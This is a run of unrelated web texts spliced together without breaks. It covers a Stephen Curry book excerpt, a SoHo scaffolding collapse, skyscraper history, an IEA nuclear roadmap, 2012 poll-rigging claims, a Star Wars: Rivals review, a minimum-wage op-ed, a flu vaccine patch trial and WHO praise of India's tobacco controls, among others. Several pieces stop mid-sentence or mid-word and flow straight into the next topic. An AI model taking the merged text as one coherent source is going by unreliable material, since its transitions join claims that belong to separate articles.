Now it is a switch he can flip on and off. Curry is one of the most positive stars the NBA has ever seen. But once he flips that switch, he becomes as mean as it gets on the court. He is merciless in his pursuit of respect. He seeks validation through conquests. He is unconcerned about embarrassing his foe.
The Baby Faced Assassin usually surfaces when opponents are attempting to bully him. But anytime he's doubted, anytime he gets the sense he's being sized up, when he bumps against the limitations being placed on him, Curry goes into that zone. When his name is on the line, when he needs to extract respect, his alter ego comes out.
After Dell Curry retired from the NBA in 2002, the family moved back to Charlotte. Curry and his brother Seth, and their cousin Willie Wade, who moved in with the Currys, would hunt for pick-up games in Charlotte. That usually led them to the YMCA in the city.
Inevitably, other players would look at the Curry brothers and think nothing of them. Or they would recognize they were the offspring of an NBA player and look to make an example of them. So many times, they'd leave the court having made believers of their doubters. On several occasions, Curry would enrage his opponent with his shot-making. They couldn't stop him, so they'd want to fight. But the Currys had an enforcer with them in the older Wade.
"My cousin, he was huge," Seth said. "He was rough. One of them real country boy enforcers. They didn't want none with him. We used to run them out the gym. They would get so mad. Maybe it was because of our looks or whatever."
It was more of the same when Curry got to high school. He landed in another small, intimate setting at Charlotte Christian School. Before the goatee and the muscles, Curry was a giant toddler with his uniform draped off him. He looked more like a kid dressed up as a basketball player for Halloween than an actual player.
Courtesy of Simon & Schuster
But, my, was he good. He dribbled with an impressive command. He could shoot with a range that contradicted his biceps. He passed with a level of instinct most high schoolers don't have. He was exceptional at changing direction, manipulating angles, and maximizing his short-area quickness though his lack of end-to-end speed trailed most point guards. Curry was an obvious prodigy. Obvious.
"He was as skilled as he is now," said Oklahoma City guard Anthony Morrow, who starred at Charlotte Latin School and has played against Curry since they were kids. "He was a late bloomer. But you could never leave him open. He never missed open shots. He had everything. He was always a guy you had to make sure you knew where he was."
The book on Curry was to swarm him. Morrow remembers his team's plan was to spring traps on Curry. They would fall back on defense, then, when he was bringing the ball up court, they'd suddenly blitz him with a double-team. They screamed and waved their arms wildly, hoping to rattle him into a turnover. They knew they had to do something because once Curry got into the half-court set, it was over. He would break down the defense or get freed by a screen and hit the three.
When Curry finally made it to the state championship game his senior season, Greensboro Day used a strategy the NBA would eventually adopt. Johnny Thomas—a junior small forward who at six-foot-six and boasting the kind of athleticism Curry lacked—drew the assignment of defending Curry. Greensboro Day was more than one hundred miles northeast of Charlotte Christian. But the buzz beat Curry to the North Carolina Independent Schools Athletic Association 3A Championships. And the Bengals had a plan.
Thomas shadowed Curry everywhere, denying him the ball and using his size to frustrate the Charlotte Christian star. Curry had just eight points as Greensboro Day pulled out the championship. Curry didn't have the strength then. But Thomas got to know the fight trapped inside Curry's underdeveloped body.
"He was tough," said Thomas, now a Harlem Globetrotter dubbed Hawk. "He didn't back down. He came at us all game. We handled him pretty well. He was just too small. I got the best of him that day."
This has been Curry's hoop existence, being too small in stature and that being used against him on the court. And his response has always been the same—make sure there is a price to pay. Attack in a way that makes underestimating him become untenable. He likes to make examples out of foes.
One Curry legend comes from the Pro-Am Tournament at Charlotte. At the time it was run by NBA point guard Jeff McInnis, a former Tar Heel who hailed from West Charlotte High.
The Pro-Am was some of the best basketball in Charlotte, which has an underrated hoop scene. Bismack Biyombo, Hassan Whiteside, P.J. Hairston, Ish Smith, Morrow, and the Curry brothers are all NBA players with Charlotte Pro-Am appearances under their belt. And those who grew up in that scene could probably tell you about one night at the Grady Cole Center in downtown Charlotte.
"I remember that," Curry said. "It was after my freshman year at Davidson."
Gregory Shamus/Getty Images
Curry playing was an event. He was the well-known son of an NBA player. And he was still slight enough for other players to doubt the hype he received.
They went after Curry that game. It's not that they were talking trash. But it was obvious to everyone watching that the intensity thrown his way was heightened. The way they defended him. The way they tried to score on him. The way they fouled him. A whole team of players were trying to build their reputation by outplaying Curry.
Curry felt what was happening. After halftime, the Baby Faced Assassin came out. He made an example out of the players who were looking to make a name on him.
"He came back and had like 40 in the second half," said Morrow, who watched from stands after his team had just played. "And it was 40 just like how it looks now. They were trying to pick him up full-court. I remember his dad went up to him afterwards like 'You need to play like that from now on. Don't worry about missing, don't worry about what nobody says.' Everybody remembers that. If you know basketball and you come to the Pro-Am, you remember that game."
If there is a difficulty in having this switch to flip, it is knowing when to flip it. It has taken experience for Curry to master this, and it is still a work in progress. He takes pride in being a point guard. He wants to be known as one who plays the game the right way, unselfish and cerebral. But then there is a part of him that wants to nuke the enemy.
In that way, Curry is a dichotomy on the court, both of his personalities fighting over how to use his considerable talent. It's as if he gets pulled in two directions.
On one hand, his shooting ability and ball-handling can be used for good. The threat of his 3-pointer spaces the floor and opens up driving lanes. A simple pump fake or mere hesitancy prompts the defense to react. His ball-handling also allows him to penetrate without having to use speed, creating angles for him to pass by his defender and space for him to get his shot. All of those contribute to the purest ideas of basketball. Sharing the rock, making his teammates better, and every other cliche that makes coaches smile.
It's one of the reasons the Warriors' motion offense works so well. It is predicated on motion and passing. And the best thing going for it is that Curry buys in, using his gravitational pull to draw the defense toward him and open up the floor for his teammates. It is part of what attracted Kevin Durant, an offense that values diverse skills and feeds off players' unselfishness.
On the other hand, the Baby Faced Assassin in him wants to use those same skills for evil. They are tools for revenge, to announce his superiority. His range is payback for trying to put bigger players on him. His handles exact punishment for attempts to pressure him.
And the jaw-dropping way in which he wields them both is designed to strike fear. It can be ball-hogging. There is an arrogance to his game, taking shots that for anyone else would be ill-advised, and making them leaves defenses demoralized.
The trick for Curry has been growing the latter while maintaining the former. He is an all-time great because of his ability to be both. But first he had to get comfortable in his skin as the Baby Faced Assassin. Pin Pinterest ⋆ Rec Recommend this Post 4
Hello there, boys and girls, Here is the third part of our Draft Preview edition of "Sorry If I Spit When I Speak." In rounds 6 and 7, we have two compensatory picks. I decided to address some major needs in round 6 because I believe there will still be some great value when we pick. Meanwhile, my co-host, Hodgie E. Smodgie, continued his unconventional method of drafting. I hope you enjoy the video. Love, Dadio W. McDuck
Poll Whose picks do you like more in rounds 6 and 7, Dadio's or Hodgie's? 39% Dadio's (7 votes)
Dadio's 22% Hodgie's (4 votes)
Hodgie's 39% Both (7 votes)
Both 0% Neither (0 votes)
This is a FanPost and does not necessarily reflect the views of Cincy Jungle's writers or editors. It does reflect the views of this particular fan, which is as important as the views of Cincy Jungle's writers or editors.NEW #Exclusive video, from up above. New Yorkers come together to help strangers buried beneath piles of wood and metal. 5 were hurt when scaffolding came crashing down. More in live report at 6 #nyc @ABC7NY pic.twitter.com/urxMDpsGGf — Kemberly Richardson (@kemrichardson7) November 19, 2017
EMBED >More News Videos Watch raw video showing bystanders jump in to help rescue people trapped under scaffolding that collapsed in Lower Manhattan.
Six people were hurt after scaffolding collapsed into the street in Lower Manhattan Sunday morning.The incident happened just after 11:30 a.m. near the intersection of Broadway and Prince in SoHo.Pictures from the scene show wooden planks all over the street, and FDNY firefighters at the scene.FDNY officials said "we're absolutely lucky" there aren't more injured in this busy neighborhood. There is a subway stop right at the intersection, and the area was packed with people out enjoying their Sunday morning.Investigators said strong wind is to blame for the collapse. A piece of plywood "acted like a sail" and blew the whole rig down.Cellphone video shot moments after the collapse shows bystanders running in to help people trapped:Two people had to be rescued from under the rubble. They and three others were taken to the hospital to be treated for minor, non-life threatening injuries.----------These days, the challenge to build the biggest, highest, tallest, strongest buildings is everywhere. Everyone wants to build the tallest building in the city, county, state, province, country…and of course…the tallest building in the world! In our modern megacities, where we’re surrounded by towering masses of glass, steel, concrete and wood, it’s very easy to forget that the building which makes our modern lives possible…the skyscraper…is only just over a hundred years old! In the scope of construction-technology, the skyscraper is but a child, something that we probably don’t think about very much, but it’s true.
Before the Skyscraper
It’s hard to imagine our cities without skyscrapers, isn’t it? The tallest fully-inhabitable structures were usually no more than five or six storeys tall. There was no elevator, there were no big, glossy windows and there were no handsome, artistically-carved facades of stonework to drool over. Without the invention of the elevator, the only way to move between floors was through dozens of staircases. People were unwilling to go up more than a few flights of stairs and so stairs normally stopped after only a few floors. Water-pumps were unable to build up enough water-pressure to force running water up pipes and into bathrooms and other rooms where water was necessary, beyond a certain height, and this too limited how high a practical building could be.
But the biggest thing restricting the construction of tall buildings was the lack of steel.
Although steel had existed for centuries, at the time it was difficult to mass produce. The shortage of this strong wonder-metal meant that it was too expensive to use steel to build frameworks and scaffolding for buildings. Without a strong frame to hold the building up and take the strain, the weight of the buildings was transferred to the walls. To combat the crushing weight of tons of masonary, glass and metal, early buildings which were to be built to what were then considered significant heights, had to have walls that were incredibly thick. In some extreme cases, as much as six feet of solid stone and brick!
The Development of the Modern Skyscraper
Cheap Steel
The skyscraper as we know it today was the result of several inventions and developments. Probably the first of these was the creation of a method for the mass-production of steel, which, prior to the mid 19th century, was an expensive metal and difficult and expensive to manufacture in large quantities.
Using a large, barrel-shaped device called a Bessemer Converter, English inventor Henry Bessemer was able to create a process for manufacturing steel cheaply and quickly. Molten pig-iron was poured into the open top of the Bessemer Converter and a fire which was made to burn hotter thanks to air injected into it by pipes at the bottom of the converter, allowed the pig iron to be superheated, burning or vapourising any impurities in the metal. Once the impurities had been burnt off, the huge Bessemer Converter (which, when full, could take thirty tons of pig iron!) was tipped over on the axle which attached it to a massive, secure frame built around it. When the converter was tipped over, pure steel poured out and ran into any moulds that were waiting for it. Once the metal had cooled, strong, preformed and perfect steel beams were ready for use!
A Bessemer Converter. Converters such as these lasted from the 1870s until the process was finally declared obsolete in the 1960s
The Bessemer Process was crucial for the development of the skyscraper. Without a way to quickly and cheaply manufacture steel, the skys
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needs no technical breakthrough (Source: IEA)
Given correct action to promote a stable policy regime and an adequate industrial base by 2020, nuclear power could grow by 320% to 1200 GWe before 2050. Achieving this would mean completing about 20 large reactors each year, meaning "the rate of construction starts of new nuclear plants will need to roughly double from its present level by 2020, and continue to increase more slowly after that date." This clearly achievable rate of work is enough to replace every single reactor operating now and grow nuclear power's contribution to 24% of global electricity supplies even while energy demand doubles.
The IEA said the scenario above is based on assumptions of some "constraints on the speed with which nuclear capacity can be deployed." A high nuclear scenario, which the roadmap did not examine in detail, places nuclear power at 38% of power supplies with a total generating capacity of about 1900 GWe. This level of nuclear would bring even greater emissions savings - as well as an 11% cut in power prices. "An expansion of nuclear energy is thus an essential component of a cost-effective strategy to achieve substantial global emissions reductions."
WNA head John Ritch welcomed the positive nuclear projection but found it "still too cautious." The WNA's Nuclear Century Outlook, Ritch noted, is "far more expansive and takes full account of the enormous potential for nuclear growth in China and India. Those two countries alone," he said, "could conceivably achieve as much nuclear expansion by 2050 as the IEA posits for the entire world. Globally, the WNAs upside scenario for 2050 exceeds 3000 GWe."
"Where WNA and IEA fully agree," Ritch went on, "is on the imperative that governments align themselves squarely and unequivocally in support of nuclear power as the world's premier clean-energy source. The time for timidity and double-talk is long past. Our world needs a bold, clear, pro-nuclear policy vision."
Government was told in the roadmap action plan to lead public debate on nuclear energy, put proper regulation in place and implement financial support (such as loan guarantees) where required, while the nuclear industry was told that it must continue to operate existing plants at the highest levels of safety and efficiency.
Reactor vendors must take what steps they can towards standardization of the current generation of designs so that new reactors are be routinely built on time and budget by 2020. Vendors must also build up their supply chains and nuclear fuel companies will have to prepare for a large expansion in production from 2015 or 2020. Good cooperation with government research bodies should help Generation IV reactor designs come to market after demonstration around 2030.
Finally, the benefit of international cooperation to facilitate all this was underlined, with a call to "maintain and strengthen where necessary international cooperation" in a range of areas. Key to this would be "intergovernmental nuclear and energy agencies, international non-governmental industry and policy organisations."
Researched and written
by World Nuclear NewsRecent polling – especially in key battleground states – shows President Barack Obama with a widening lead over challenger Mitt Romney. It’s dispiriting to Republican leaders, and it would seem to put more wind into the Obama campaign’s sails headed into next week’s first presidential debate.
But among conservative commentators and some in the GOP, that just proves one thing: That the polls are rigged to give Democrats an apparent advantage, and that the mainstream media is buying into what amounts to a conspiracy by playing up such survey results.
“They're trying to wrap this up before the debates even start,” Rush Limbaugh said on his radio show this week. “I think they're trying to get this election finished and in the can by suppressing your vote and depressing you so that you just don't think there's any reason to vote, that it's hopeless.”
Why do Election 2012 swing states matter? 5 resources to explain.
The essence of the complaint is that pollsters are basing their reports on too many Democrats having been surveyed – that when results showing Obama ahead by 6-8 points are properly weighted by party affiliation, the race is dead-even with Romney actually ahead in some places.
The response from professional pollsters is that any difference in the party balance of those surveyed is a reflection of how voters identify themselves today: 35 percent Democrats, 28 percent Republicans, and 33 percent Independents.
As both campaigns know, it’s also a fluid situation with how voters identify their party leanings right now more important than how they last registered. It’s why both campaigns are angling for cross-over voters and especially Independents. If Obama and Romney were to get everybody who identifies with their party plus half the Independents, Obama – today, at least – would win by 7 points.
“Party identification changes as political tides change,” Frank Newport, Gallup’s editor-in-chief, wrote this week in his response to the controversy. “General shifts in the political environment can affect party identification just as they can affect presidential job approval and results of the ‘Who are you going to vote for?’ question.”
Gallup puts its question to voters agreeing to be surveyed this way: “In politics, as of today, do you consider yourself a Republican, a Democrat, or an independent?”
“Note that this question does not ask, ‘What was your party identification in November 2008?’ Nor does it ask, ‘Are you registered with one party or the other in your state?’” says Mr. Newport. “Our question uses the words ‘as of today’ and ‘consider.’ It is designed to measure fluidity in political self-identification.”
The key thing for campaigns and those reporting on them is too look at the bigger picture over time. Today’s snapshot – and this includes polls by the relatively conservative Fox News and Rasmussen Reports – shows Obama ahead during this period between the party conventions and the debates.
"If I don't focus on an individual poll here or there and look at the dynamic of the race, and the broad array of polls, it tells me that the president has a significant lead at this point," Stuart Rothenberg, publisher of the non-partisan Rothenberg Political Report, told Reuters.
A related conservative complaint is that reporters and editors can become too obsessive about opinion polls.
“This produces headlines and TV coverage that seem intentionally designed to demoralize Republicans and persuade undecided ‘swing’ voters – who have a tendency to vote for the candidate they perceive as the likely winner – to support Obama,” writes Robert Stacy McCain at the American Spectator. “That such poll-driven coverage could function as a self-fulfilling prophecy – in fact creating the result it pretends to predict – is an increasing worry for conservatives.”
Not all conservatives are beating up on poll-takers and the media over the string of voter surveys showing Romney trailing in the race.
“I’ve been in politics long enough to know that the louder one side gets complaining about the polls, the more likely it is that this is the side that, in reality, actually is losing,” Erick Erickson, editor of the RedState blog, wrote this week.
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“The reality is that Mitt Romney is behind, but that does not mean this thing is over,” Mr. Erickson writes. “It is close and Romney can very much still win this election.”
Why do Election 2012 swing states matter? 5 resources to explain.A SAN FRANCISCO teenager is dead after a bullet fired by his accomplice in a street robbery ricocheted off the victim's face and killed him.
Local police allege 16-year-old Clifton Chatman was among a group of young muggers who surrounded the unnamed victim at 11pm on December 14 and demanded he hand over his cellphone.
One of the robbers pulled out a handgun while the others searched the victim's belongings for valuables, reports Gawker.
The victim surrendered all his possessions, but the gunman still opened fire. The bullet ricocheted off the victim's face and hit Mr Chatman, who was pronounced dead at the scene.
The robbery victim was hospitalised but is expected to survive, police said.
The 16-year-old alleged shooter has been arrested on charges of suspicion of murder and attempted robbery.
###Recently the SA Human Rights Commission criticized the KZN Department of Health for poor handling of the oncology crisis in the province.
We talk to Dr. Mary Lou Galatino, a distinguished Professor with various esteemed positions at Stockton University, University of Pennsylvania and the University of Witwatersrand about her experience of going from a cancer caregiver to becoming a patient.
In Unscience we look at the scientific benefits of using Prestik in schools.
In our second story, Professor Michael Herbst, the health specialist at the Cancer Association of South Africa, explains how chemicals in our ordinary lives can increase our risk of getting cancer.
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Audio jingle by pravda23.comHere’s what most American birdwatchers are, according to a 2013 government study: White, older than 45, fairly well-off and pretty highly educated.
Here’s what many people think birdwatchers are: Creepy.
That’s according to a recent study that says it is the first “empirical study of ‘creepiness.’” Led by psychology professor Frank McAndrew at Knox College in Galesburg, the study set out to introduce “a theoretical perspective on the common psychological experience of feeling “creeped out,” and to figure out what makes us think other people are creepy.
The conclusion — based on a survey of 1,341 people, most of whom were female and American — is that feeling creeped out is an evolved response to the ambiguity of a possible threat, which helps us to remain vigilant.
As a public service to everyone who wants to avoid being viewed as creepy, we’ll go over some of the other highlights before we get to birdwatching.
About 95 percent of respondents thought creepy people are much more likely to be male, and female respondents were more likely to perceive a sexual threat from creeps. Characteristics widely perceived as creepy include greasy hair, being extremely thin and watching people before interacting with them.
Jobs to avoid if you don’t want to seem creepy: clown, taxidermist, sex shop owner and funeral director.
In another section, survey respondents were asked to list two hobbies that are creepy. By far, “collecting things” took top honors, with special mentions for collecting insects and reptiles.
And: “Bird watchers were considered creepy by many as well.”
The study offers no details about why. But it turns out that this is probably not news to birdwatchers, and it seems to be rooted in a key birding tool: binoculars.
In 2014, the blogger behind Becca Birdy Bird wrote an entire post about it. It was titled “The Creepy Side of Birdwatching.”
“For backyard birding, one runs the risk of neighbors thinking you are a pervert of some type trying to look in their windows with your binoculars,” she wrote. She suggested that birders tell neighbors “the binoculars are not pointing at (anyone’s) windows,” or invite them to join in the fun.
“They will either grow bored and leave or get hooked,” she wrote. “Either way, you’ll benefit and no longer have to deal with negative gossip.”
David. J. Ringer, the National Audubon Society’s chief network officer, took the study’s conclusions in stride.
“If you’re already a birder, maybe don’t point your binoculars at other people’s houses, stop your car in the middle of the road, or yell “Bushtit!” during an otherwise civil dinner conversation,” Ringer told the Post in an email. “And if you’re not a birder yet, take a good long look at a cardinal, a hummingbird, or an eagle cam and see what happens. You might get hooked — just remember to keep it family — and bird-friendly.”Now that Disney owns the Star Wars franchise, I am wholeheartedly expecting them to release as many games, toys, mugs, pizza cutters, and door mats branded with the license as humanly possible. Frankly, Disney would be an idiot not to cash in on Star Wars' mainstream and cult followings. That is why it is no surprise to see the beta release of Star Wars: Rivals on the Play Store. It is also no surprise to see that it is a free-to-play corridor shooter rife with poor controls, repetitive levels, and loot crates that are explicitly tied to plenty of in-app purchases.
I would like to briefly mention that Star Wars: Rivals is currently a soft-launch title. Due to its unavailability in my region, I have sideloaded the APK in order to test the gameplay. There may be a few more adjustments to the game before it officially launches, so please take that into consideration when reading this hands-on. I would like to briefly mention that Star Wars: Rivals is currently a soft-launch title. Due to its unavailability in my region, I have sideloaded the APK in order to test the gameplay. There may be a few more adjustments to the game before it officially launches, so please take that into consideration when reading this hands-on.
When I first saw the Play Store listing for Star Wars: Rivals I thought to myself that "this is refreshing, we now have a Star Wars game on Android that actually looks like a game." Sadly it seems that I was sorely mistaken. While at a quick glance it may appear that Star Wars: Rivals could contain some fun mechanics, in reality, it is just another dumbed-down grind fest focused on hero collection.
What that means is that you are going to need to spend real money on the in-game currency of Crystals. These Crystals can then be used to purchase any number of things, including the game's loot crates. These loot crates are where you gain the main possibility to unlock new heroes. You see, you need 20 specific Data Tapes to unlock a particular hero. For $40 in Crystals, you can purchase an Ultimate Crate, which has 160 Data Tapes, with 70 of those earmarked for Ultimate heroes. While 70 Ultimate class Data Tapes sounds good, there is no guarantee you will even receive 20 matching tapes for a single Ultimate. So not only is the way you spend real money convoluted with the requirement of Crystals but then you have another layer of obfuscation with these Data Tapes. Frankly, I find this type of monetization sickening. It is pretty obvious that this is just a form of legalized gambling that is squarely targeted towards children. But hey, that's the modern Disney for you! Why make a worthwhile product when you can prey on children who have no understanding of money or how wrong this type of system is.
Of course, there is also another way to earn heroes, but it will take a lot of grinding through the Arena. If you are wondering what the Arena is, this is where the game matches you up with other players in order to battle it out with three of your heroes. Right now there is an Arena event going on that will allow you to earn Boba Fett as a character. So obviously your options are pretty limited if you want to earn heroes through the Arena for free.
When it comes to the gameplay, there is no real saving grace. Sure, some may consider the corridor shooting in this title passable, but really, it is just too repetitive. The poor touch screen controls also do not help make the gameplay any more enjoyable. The way the gameplay works is you have a hero (or three, if you are playing Arena mode) who has one conventional weapon, one powerful move, and a duck button for cover. While you aim with a touch pad on the left side of the screen, you choose from your three other options on the right. There are also buttons on each side of the display that permit you to move from one cover to another. This part is important as your cover can easily get destroyed, leaving you no option but to get shot up, or move on to another covered area. As you move around from cover to cover, you can aim at your enemies in order to shoot them with either your regular weapon or your power move. Both will have a cool down period, with your normal weapon only needing cooling if it is used with too much repetition. Obviously, you will need to balance how much you move and how much you shoot in order to stay alive. As you clear enemies from each area, you will auto move to the next, meaning the game is on rails in these instances. Once you clear a few areas, you will complete the level, to then move on to the next. You do this with extreme repetition until you die so often that you will need to upgrade your heroes.
Upgrading heroes can be a bit of a chore. Luckily Disney recognized how ridiculous this system is, so they provided a FAQ. Essentially there are three different sections for each character that can be upgraded. First is your Rank. This is upgraded through 20 Data Tapes at a time. The second area you can upgrade your character is their Level. You level your character up with XP Boost. Sadly, not the FAQ nor the game explains where you get XP Boost from. Lastly, the third area you can upgrade your character is through Abilities. Each character has a few different ones, and you can upgrade them through the game's second in-game currency of Credits. You can earn these Credits while playing the game, but again, they are much easier to purchase with Crystals. Yep, that is correct. You can't buy Credits without first buying Crystals. This is yet another way Disney disguises how much you actually need to spend on this title.
Now, I would be remiss if I did not mention Star Wars: Rivals' advertisements, in-app purchases, and lack of Google Play Games support. Luckily the ads are optional, so you do not have to worry about them getting in the way of navigating or playing the game. The IAPs, on the other hand, do go all the way up to $99.99 per item. With how heavily every item you need revolves around Crystals, it is pretty clear that you will have to spend quite a lot of real money to stay competitive. As for Google Play Games, there does not appear to be any support currently. Maybe this will change before the game releases officially, but I would not hold out much hope of that personally.
Ultimately Star Wars: Rivals is just another in a long line of free-to-play games on Android that are created from the ground up to milk the player as much as possible. Sure, there is just enough gameplay to keep you slightly entertained, but it is the collection aspects and upgrade mechanics that are designed to keep you hooked. Sadly these areas of Star Wars: Rivals are so outrageously priced that it is going to be difficult for anyone without a ton of time on their hands for grinding to stay competitive for free. Considering that Star Wars: Rivals is billed as a PvP game, only those who spend the most money on loot crates will ever have enough powerful heroes to compete adequately. And so it goes, either spend a bunch of cash or settle for being the cannon fodder that entertains those who do pay up.Last weekend I asked you: Nexus 6P or Nexus 5X? Well, technically I asked you Nexus 5X or 6P, but whatever. But they weren't official yet! Now they are.
The Nexus 5X rings in at $379 for the base 16GB model or $429 for 32GB, while the 6P is $499 here in the US for 32GB, $549 for 64GB, and $649 for the mega-storage 128GB that, yes, Artem has probably already ordered 17 of (one for him and one for each end of each room of his house).
Personally, I'm a 5X man. After holding it, touching it, and generally being near it, I love the design of this device. It's just so... friendly.
Also, I love the blue one and no one is going to tell me otherwise. It's pretty. But the 5X does lose out on some specifications versus the 6P, and there's little doubt the 32GB version is the only real choice for #nexuswarriors. The 6P, to me, just feels too cold, too industrial, and too generic. The 5X has some character to it. But these are completely personal opinions on relatively unimportant subjects.
So, now that you know what the 5X and 6P cost, and what their respective specifications are, which would you choose, or which have you chosen already?
Nexus 5X or Nexus 6P? Nexus 5X!
Nexus 6P!
Neither! View ResultsRising Wages Hurts Minimum Wage Workers
A promise of raising the minimum wage was an absolute necessity for progressive voters in the presidential election. The idea caught on with the coastal elites.
Yet it wasn’t appealing to the white working-class voters who swung the election to Donald Trump.
$15 Minimum Wage
Seattle passed a law to raise the minimum wage in the city to $15 an hour last year. That minimum wage hasn’t kicked in yet, but the negative impacts have already been felt.
From a piece by Kevin Williamson in National Review:
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“The study, commissioned by the city government of Seattle and published by the National Bureau of Economic Research, found that Seattle’s law incrementally raising its minimum wage — to $13 an hour last year, en route to $15 — resulted in low-wage workers’ earning less money rather than more.
This surprised many in Seattle, who had been assured by all the best economists, including Paul Krugman, that such a thing would not come to pass.”
Work Available
Any studies that the minimum wage would raise total income for minimum wage workers held other important variables constant. The biggest factor is hours of work available.
In the fast food industry, we can think of automatic ordering screens that have taken the place of minimum wage jobs.
In supermarkets, automatic checkouts have taken jobs.
Automation
Williamson made the argument very succinctly:
“You can pass a law saying you have to pay low-wage workers more, but you cannot pass a law that says you have to hire them in the first place, or that you cannot cut back on hours when the price of hourly labor goes up.
As businesses responded to the new higher labor costs by reorganizing their processes in less labor-intensive ways (the classic examples here are the replacement of wait staff with computer screens in restaurants and the replacement of bank clerks with more sophisticated ATMs), the law that was supposed to increase low-wage workers’ incomes actually reduced them — substantially, by an average of $125 a month.”
Bernie Sanders
When Bernie Sanders ran for president the Economist questioned the wisdom of his economic policies. Promising a $15 per hour minimum wage proved Bernie Sanders bona fides as a socialist and helped provide momentum to his insurgent campaign for the Democratic presidential nomination.
Hillary Clinton began the campaign promising a $12 per hour minimum wage then matched Bernie at $15 per hour. The so-called Bernie Bros saw through the transparency of Clinton and stayed away from the voting booth.
The folly of the liberal urge to force behavior without thought to outcomes proves why the pendulum eventually swings away from such intrusive government policies.
The business owners who drive free market economies aren’t in business for socialist reasons. They are in business to turn a profit.
Government Protection
When governments cross the line from protecting society from abuse to trying to serve as a mechanism of wealth redistribution they often hurt those people they are trying to help.
In the case of Seattle’s minimum wage gouge, successful entrepreneurs found smarter ways to deliver products and services. It appears they have done so by reducing overall wage costs.
Those entrepreneurs who didn’t reduce wage costs are likely facing stress if they are still in business.
The outcome of raising the minimum wage has been to hurt poor people. Time magazine predicted this outcome. Unfortunately, the left doesn’t see it coming.ARTICLE
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The National Institutes of Health (NIH) recently announced that a study team funded by the agency has developed an adhesive patch delivery method for the influenza vaccine, which may offer a new alternative to the standard flu shot injection.Each year, between 140,000 and 710,000 people in the United States are hospitalized with flu-related symptoms, according to the Centers for Disease Control and Prevention (CDC). As such, public health officials say that the best way to prevent getting sick with the flu is by getting an annual vaccine. The typical trivalent influenza vaccine protects people from 3 circulating flu viruses, while a quadrivalent vaccine contains components from 4 viruses. Receiving a flu vaccine triggers the body to make antibodies to the viruses, which in turn protect an individual from becoming infected if they’re exposed to the actual contagious virus. Because the CDC’s Advisory Committee on Immunization Practices ruled against recommending the nasal spray form of the flu vaccine for the 2016-2017 flu season due to its low efficacy, the injection has been the only recommended delivery method for the vaccine.In a new study recently published in the journal, The Lancet, a team lead by researchers from Emory University School of Medicine and the Georgia Institute of Technology has developed an adhesive patch containing water-soluble microneedles that can safely and effectively deliver the influenza vaccine.“The skin is an immune surveillance organ,” said study author Mark Prausnitz, PhD, explaining how the novel delivery method works in a recent press release. “It’s our interface with the outside world, [and] so it’s very well-equipped to detect a pathogen and mount an immune response against it.”The study, funded by the NIH’s National Institute of Biomedical Imaging and Bioengineering (NIBIB), was conducted between June 23, 2015 and September 25, 2015 at Emory University in Atlanta. In a randomized, partly blinded, placebo-controlled, phase 1 clinical trial, 100 non-pregnant, immunocompetent participants ages 18 to 49 years old were randomly assigned into 4 groups. Participants either received the influenza vaccine by microneedle patch administered by a healthcare worker, a vaccine injection administered by a healthcare worker, a placebo microneedle patch administered by a healthcare worker, or the influenza vaccine microneedle patch self-administered.Although some participants who received the patch reported mild skin reactions such as localized redness or itching, none of the participants reported serious adverse reactions. Participants who received the vaccine via patch or injection had similar antibody responses. More than 70% of those who received the patch preferred that delivery method over the flu shot. The participants who applied the patches to themselves received similar vaccine doses to those whose patches were administered by healthcare workers, showing that the delivery method could eliminate the need for a trip to the doctor’s office.“This bandage-strip sized patch of painless and dissolvable needles can transform how we get vaccinated,” said NIBIB director Roderic I. Pettigrew, MD, PhD in the press release. “A particularly attractive feature is that this vaccination patch could be delivered in the mail and self-administered. In addition, this technology holds promise for delivering other vaccines in the future.”The researchers note that although the cost of the vaccine patch is comparable to the cost of a syringe of vaccine, the option to self-administer the patch can significantly reduce the cost of receiving a flu vaccine by doing away with the expense of a doctor’s visit. With more clinical trials in store for the patch, the study team also noted the potential for the safe and effective delivery of other vaccines though microneedle patches.Election laws are constantly changing, and since they can have a profound impact on leadership, they are very important and can have a significant impact on the way elections are carried out. Because of this, individuals in the field, elected officials, campaign committees, and political party committees/political organizers, must familiarize themselves with the latest laws and regulations surrounding the area of law.
The National Law Review routinely covers emerging news on legislation and litigation impacting the campaign trail and elections at the state, local, and government levels. In addition to elections, details about campaign financing, and where agencies can garner campaign funds from, are also covered on the site. Litigation on these issues, such as foreign nationals campaign contributions and the US Supreme Court’s decision in Citizens United are carefully analyzed by the legal experts at the National Law Review.
From general news surrounding the Trump-transition and current administration, to changes made with Bipartisan budget bills, New international tariffs, and Presidential appointments to office, of various government agencies, are among the stories/topics covered by the National Law Review. News relating to the Federal Election Committee (FEC), Political Action Committees (PACs), and other government agencies/regulations surrounding the campaign and election-cycles, are frequently updated on the site.
Legislation through Congress, pending House bills, government shutdowns, Bipartisan Budget Bills, and the latest coverage of DACA and other immigration reform bills, are among the many topics covered under this broad area of law. Legislation in the states and in Washington DC, are also covered as new bills are debated and voted on across a variety of fields; such as healthcare and tax, the National Law Review reports on the progress of the legislation and how it might impact companies in those fields.
Visitors will find weekly legislative updates from a variety of sources, Senate and House agenda notes, and updates on international government and election news updated on the NLR website.
Additionally, NLR covers election and legislative news from overseas, especially in the United Kingdom and the European Union. Issues like the “Brexit-split” and news from the governing bodies of the European Union and other nations are also covered.Geneva: The World Health Organisation on Thursday lauded India's tobacco control mechanisms, calling the country a "champion" for curbing "tobacco marketing in films".
"India is a champion from the point of view in controlling tobacco marketing in films. You even have the case of Woody Allen who did not want his film released due to a regulation.
"They have been very relevant in the region to strengthen the cooperation on tobacco control," said Dr Vera Luiza da Costa e Silva, head of Convention Secretariat of WHO Framework Convention on Tobacco Control (FCTC).
Taking note of the "important progress" made by India in curbing the menace, Silva announced that the next conference of the convention will be held in the Asian country.
The Indian government had last year announced that cigarette packets would have to stamp health warnings across 85 percent of the surface and plans on raising the age of tobacco sale to 21 as well as ban the use of loose cigarettes.
"Smoking or using tobacco is no longer seen as a socially acceptable behaviour; it has been denormalised. However, the more we are advancing, the more aggressive the tobacco industry is becoming. Trade has no ethics," she said on the occasion of the 10th anniversary of FCTC.
According to the WHO Global Tobacco Control Report 2013, smokeless tobacco consumption - including chewing products such as gutkha, zarda, paan masala and khaini is culturally more common as a form of tobacco use than cigarette smoking in India.
For smokeless tobacco among adults, 32.9 percent of males and 18.4 percent females are the current users, the report said.
International Tobacco Control Project (ITCP) has estimated a death toll of 1.5 million a year in India by 2020 with the current rate of tobacco use.
There are 6 million deaths globally each year due to tobacco use, WHO said.
Since the coming in of the WHO convention 80 percent of the countries have strengthened their tobacco control legislations and the cost of a packet of cigarettes has, on an average, increased by 150 percent, Silva said.
